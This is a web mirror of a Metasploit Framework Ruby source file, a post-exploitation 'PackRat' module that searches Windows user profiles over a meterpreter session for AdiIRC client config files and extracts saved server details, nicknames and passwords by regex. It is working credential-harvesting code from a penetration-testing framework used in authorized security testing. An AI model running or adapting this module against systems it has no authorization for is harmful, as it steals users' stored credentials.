CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/adi_irc.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
# this associative array defines the artifacts known to PackRat
8
include Msf::Post::File
9
include Msf::Post::Windows::UserProfiles
10
include Msf::Post::Windows::Packrat
11
ARTIFACTS =
12
{
13
application: 'Adi IRC',
14
app_category: 'IRC',
15
gatherable_artifacts: [
16
{
17
filetypes: 'quick_connect',
18
path: 'LocalAppData',
19
dir: 'AdiIRC',
20
artifact_file_name: 'config',
21
description: 'Quick Connect Server Details',
22
credential_type: 'text',
23
regex_search: [
24
{
25
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26
extraction_type: 'credentials',
27
regex: [
28
'(?i-mx:Serverhost=.*)',
29
'(?i-mx:Serverport=.*)',
30
'(?i-mx:Usernick=.*)',
31
'(?i-mx:QuickPassword=.*)'
32
]
33
}
34
]
35
},
36
{
37
filetypes: 'Networks',
38
path: 'LocalAppData',
39
dir: 'AdiIRC',
40
artifact_file_name: 'networks',
41
description: 'Saved Networks',
42
credential_type: 'text'
43
}
44
]
45
}.freeze
46
47
def initialize(info = {})
48
super(
49
update_info(
50
info,
51
'Name' => 'Adi IRC credential gatherer',
52
'Description' => %q{
53
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
54
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
55
Further details can be found in the module documentation.
56
This is a module that searches for credentials stored on AdiIRC Client in a windows remote host.
57
},
58
'License' => MSF_LICENSE,
59
'Author' => [
60
'Jacob Tierney',
61
'Kazuyoshi Maruta',
62
'Daniel Hallsworth',
63
'Barwar Salim M',
64
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
65
],
66
'Platform' => ['win'],
67
'SessionTypes' => ['meterpreter'],
68
'Notes' => {
69
'Stability' => [CRASH_SAFE],
70
'Reliability' => [],
71
'SideEffects' => []
72
}
73
)
74
)
75
76
register_options(
77
[
78
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
79
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
80
# enumerates the options based on the artifacts that are defined below
81
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
82
]
83
)
84
end
85
86
def run
87
print_status('Filtering based on these selections: ')
88
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
89
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
90
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
91
92
# used to grab files for each user on the remote host
93
grab_user_profiles.each do |userprofile|
94
run_packrat(userprofile, ARTIFACTS)
95
end
96
97
print_status 'PackRat credential sweep Completed'
98
end
99
end
100
101